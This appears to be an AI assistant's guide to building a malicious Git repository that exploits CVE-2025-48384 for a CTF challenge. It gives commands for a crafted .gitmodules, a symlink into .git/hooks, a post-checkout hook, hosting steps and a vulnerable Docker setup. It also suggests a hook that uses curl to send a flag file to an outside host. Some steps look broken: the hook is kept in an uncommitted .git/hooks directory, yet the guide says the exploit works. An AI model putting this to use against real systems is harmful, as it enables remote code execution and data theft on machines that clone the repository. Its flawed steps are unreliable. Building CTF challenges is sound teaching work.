12 KiB
Designing a Malicious Git Repository for a CTF Challenge Exploiting CVE-2025-48384
This guide provides a detailed, step-by-step approach to creating a malicious Git repository that exploits CVE-2025-48384, a client-side vulnerability in Git that allows remote code execution (RCE) via improper handling of carriage return (CR) characters in submodule paths. The goal is to craft a Capture The Flag (CTF) challenge where players either clone a provided malicious repository to trigger RCE and retrieve a flag, or submit their own malicious repo to exploit a simulated service. The focus is on the repository structure, exact implementation syntax, necessary files, and commands to set it up, ensuring the RCE is benign (e.g., reveals a flag) and safe for a CTF environment.
Disclaimer: This is for educational purposes in a controlled CTF setting. Always use isolated environments (e.g., Docker, VMs) to prevent unintended harm. Ensure compliance with CTF ethics and legal guidelines. The RCE will be limited to flag retrieval or similar benign actions.
1. Understanding CVE-2025-48384 in a CTF Context
- Vulnerability Recap: The flaw occurs because Git strips trailing CR (
\r) when reading config values but doesn't properly quote them when writing, causing a mismatch. This allows a submodule's path to be misinterpreted, enabling path traversal. Combined with a symlink to the.git/hooksdirectory and an executable hook in the submodule, cloning the repo with--recurse-submodulestriggers RCE by executing the hook. - CTF Objective: Players clone a malicious repo in a vulnerable Git environment (e.g., Git v2.43.6 or earlier, up to v2.50.0) to trigger the RCE, which runs a post-checkout hook that outputs a flag (e.g., to
/tmp/flag.txt). Alternatively, players craft their own repo to exploit a service. - Environment: The repo and commands are designed for Linux/macOS, as symlinks are critical and behave differently on Windows.
2. Repository Structure
The malicious Git repository must include:
- A main repository with a crafted
.gitmodulesfile containing a submodule path with a trailing CR. - A symlink in the main repo that points the misinterpreted submodule path to the
.git/hooksdirectory. - A submodule repository with an executable
post-checkouthook that performs the RCE (e.g., writes the flag).
Here’s the structure:
malicious-repo/ # Main repository
├── .git/
├── .gitmodules # Defines submodule with CR in path
├── malicious-submodule -> .git/hooks # Symlink to hooks directory
└── README.md # Optional, for realism
malicious-submodule-repo/ # Separate submodule repository
├── .git/
└── .git/hooks/
└── post-checkout # Executable hook script (RCE payload)
3. Step-by-Step Implementation
Below are the exact steps, files, syntax, and commands to create the malicious repo and submodule repo. This assumes a Linux environment (e.g., Ubuntu in a Docker container) for setup and testing. All commands are run in a terminal.
Step 1: Set Up the Submodule Repository
The submodule contains the malicious hook that will execute during RCE.
-
Create the Submodule Repository:
mkdir malicious-submodule-repo cd malicious-submodule-repo git init -
Create the Malicious Hook:
- Create an executable
post-checkouthook in the submodule’s.git/hooks/directory. - This hook will run when the submodule is checked out, simulating RCE by writing a flag.
mkdir -p .git/hooks cat > .git/hooks/post-checkout << 'EOF' #!/bin/bash echo "CTF{you_triggered_cve_2025_48384}" > /tmp/flag.txt EOF chmod +x .git/hooks/post-checkout- Explanation: The hook is a simple bash script that writes a flag to
/tmp/flag.txt. In a real CTF, you might make it more complex (e.g., read a flag from a restricted file or send it to a player’s server).
- Create an executable
-
Commit and Push the Submodule Repo:
- Add a dummy file to make the repo valid, then commit and host it (e.g., on a local Git server or GitHub).
touch dummy.txt git add . git commit -m "Initialize submodule with malicious hook"-
If hosting locally (e.g., using
git daemon):git daemon --reuseaddr --base-path=. --export-all --verbose- This makes the repo accessible at
git://<your-ip>/malicious-submodule-repo.
- This makes the repo accessible at
-
If using GitHub, push to a public repo:
git remote add origin https://github.com/<your-username>/malicious-submodule-repo.git git push origin main
Step 2: Set Up the Main Repository
The main repo links to the submodule and sets up the path traversal.
-
Create the Main Repository:
mkdir malicious-repo cd malicious-repo git init -
Create the
.gitmodulesFile with Trailing CR:- The submodule path must end with a
\rto exploit the config mismatch. - Use
printfto append the CR, as text editors may strip it.
printf '[submodule "malicious-submodule\r"]\n\tpath = malicious-submodule\r\n\turl = git://<your-ip>/malicious-submodule-repo\n' > .gitmodules- Replace
git://<your-ip>/malicious-submodule-repowith the submodule’s URL (e.g.,https://github.com/<your-username>/malicious-submodule-repo.gitif hosted on GitHub). - Note: The trailing
\rin the submodule name and path is critical. Verify it exists usinghexdump:hexdump -C .gitmodules- Look for
0d(CR) aftermalicious-submoduleand its path.
- Look for
- The submodule path must end with a
-
Create the Symlink:
- The symlink makes the misinterpreted path (
malicious-submodulewithout CR) point to.git/hooks.
ln -s .git/hooks malicious-submodule - The symlink makes the misinterpreted path (
-
Add a README for Realism (Optional):
echo "# Malicious Repo for CTF" > README.md -
Commit the Main Repo:
git add .gitmodules malicious-submodule README.md git commit -m "Initialize malicious repo for CVE-2025-48384" -
Host the Main Repo:
- Similar to the submodule, host locally or on GitHub:
git daemon --reuseaddr --base-path=. --export-all --verbose- Accessible at
git://<your-ip>/malicious-repo.
- Accessible at
- Or push to GitHub:
git remote add origin https://github.com/<your-username>/malicious-repo.git git push origin main
- Similar to the submodule, host locally or on GitHub:
Step 3: Set Up the Vulnerable Environment
Players need a vulnerable Git version to trigger the exploit. Use a Docker container for safety.
-
Create a Dockerfile:
FROM ubuntu:24.04 RUN apt update && apt install -y git=1:2.43.0-1ubuntu7 RUN useradd -m ctfuser USER ctfuser WORKDIR /home/ctfuser CMD ["/bin/bash"]- Note: The exact Git version (
1:2.43.0-1ubuntu7) is illustrative; use a vulnerable version (e.g., <2.43.7). Check Ubuntu/Debian package repos or compile Git from source (e.g., v2.43.6).
- Note: The exact Git version (
-
Build and Run the Container:
docker build -t ctf-git-vuln . docker run -it ctf-git-vuln -
Test the Exploit Locally (Before CTF Deployment):
- Inside the container (as
ctfuser):git clone --recurse-submodules git://<your-ip>/malicious-repo cd malicious-repo - The clone with
--recurse-submodulestriggers the RCE:- The submodule path
malicious-submodule\ris read asmalicious-submodule(CR stripped). - The symlink
malicious-submodule -> .git/hookscauses the submodule’s hooks to be checked out into.git/hooks. - The
post-checkouthook executes, writingCTF{you_triggered_cve_2025_48384}to/tmp/flag.txt.
- The submodule path
- Verify:
cat /tmp/flag.txt
- Inside the container (as
Step 4: CTF Challenge Instructions
- Prompt: "You’ve found a suspicious Git repository at
git://<your-ip>/malicious-repo. Clone it in the provided Docker container (Git v2.43.6) to retrieve the flag. The flag is written to/tmp/flag.txt. Hint: Use recursive cloning and check for hooks." - Command for Players:
docker run -it ctf-git-vuln git clone --recurse-submodules git://<your-ip>/malicious-repo cat /tmp/flag.txt - Flag Format:
CTF{you_triggered_cve_2025_48384}
Step 5: Alternative (Advanced) Challenge: Players Craft the Repo
For a harder challenge, have players submit a malicious repo to a service:
- Service Setup:
- Run a server (e.g., Flask app in Docker) that accepts repo URLs and clones them with
git clone --recurse-submodules. - Place a flag in
/root/flag.txton the server. - The hook in the player’s submodule should exfil the flag (e.g.,
curl -d "$(cat /root/flag.txt)" http://player-logger.com).
- Run a server (e.g., Flask app in Docker) that accepts repo URLs and clones them with
- Player Task: Create a repo mirroring the structure above and submit its URL. They must craft the
.gitmoduleswith CR, symlink, and hook. - Safety: Use a read-only filesystem (except for flag access), rate-limit submissions, and sanitize hook outputs.
4. Exact Files and Syntax
Here’s a recap of the critical files and their exact contents:
-
malicious-submodule-repo/.git/hooks/post-checkout:
#!/bin/bash echo "CTF{you_triggered_cve_2025_48384}" > /tmp/flag.txt- Permissions:
chmod +x post-checkout
- Permissions:
-
malicious-repo/.gitmodules:
[submodule "malicious-submodule\r"] path = malicious-submodule\r url = git://<your-ip>/malicious-submodule-repo- Created with:
printf '[submodule "malicious-submodule\r"]\n\tpath = malicious-submodule\r\n\turl = git://<your-ip>/malicious-submodule-repo\n' > .gitmodules
- Created with:
-
malicious-repo/malicious-submodule:
- Symlink created with:
ln -s .git/hooks malicious-submodule
- Symlink created with:
5. Required Commands (Summary)
-
Submodule Repo:
mkdir malicious-submodule-repo && cd malicious-submodule-repo git init mkdir -p .git/hooks echo -e '#!/bin/bash\necho "CTF{you_triggered_cve_2025_48384}" > /tmp/flag.txt' > .git/hooks/post-checkout chmod +x .git/hooks/post-checkout touch dummy.txt git add . && git commit -m "Init submodule" git daemon --reuseaddr --base-path=. --export-all --verbose # Or push to GitHub -
Main Repo:
mkdir malicious-repo && cd malicious-repo git init printf '[submodule "malicious-submodule\r"]\n\tpath = malicious-submodule\r\n\turl = git://<your-ip>/malicious-submodule-repo\n' > .gitmodules ln -s .git/hooks malicious-submodule echo "# Malicious Repo for CTF" > README.md git add . && git commit -m "Init malicious repo" git daemon --reuseaddr --base-path=. --export-all --verbose # Or push to GitHub -
Test in Vulnerable Environment:
docker build -t ctf-git-vuln . docker run -it ctf-git-vuln git clone --recurse-submodules git://<your-ip>/malicious-repo cat /tmp/flag.txt
6. Best Practices and Safety
- Isolation: Use Docker to ensure the RCE can’t harm the host. Mount filesystems read-only where possible.
- Sanitize Payloads: The hook should only perform CTF-relevant actions (e.g., write a flag). Avoid commands like
rmor network calls unless controlled. - Hints for Players: Suggest checking
.gitmodulessyntax, submodule paths, and hooks. Mention the importance of--recurse-submodules. - Writeup: After the CTF, explain the CR mismatch, symlink trick, and mitigation (update to Git v2.43.7+).
- Testing: Verify the exploit works on vulnerable versions (e.g., v2.43.6) but not patched ones (e.g., v2.43.7). Use
hexdumpto confirm CRs.
7. Potential Variations
- Harder Challenge: Require players to exfil the flag to their own server (e.g., via
curlin the hook). - Obfuscation: Hide the CR in
.gitmodulesby adding dummy submodules or comments. - Multi-Step: Combine with other vulns (e.g., a web challenge to find the repo URL).
This setup creates a realistic, educational CTF challenge that demonstrates CVE-2025-48384’s RCE potential safely. If you need help with Docker configs, hosting, or a player-crafted repo version, let me know!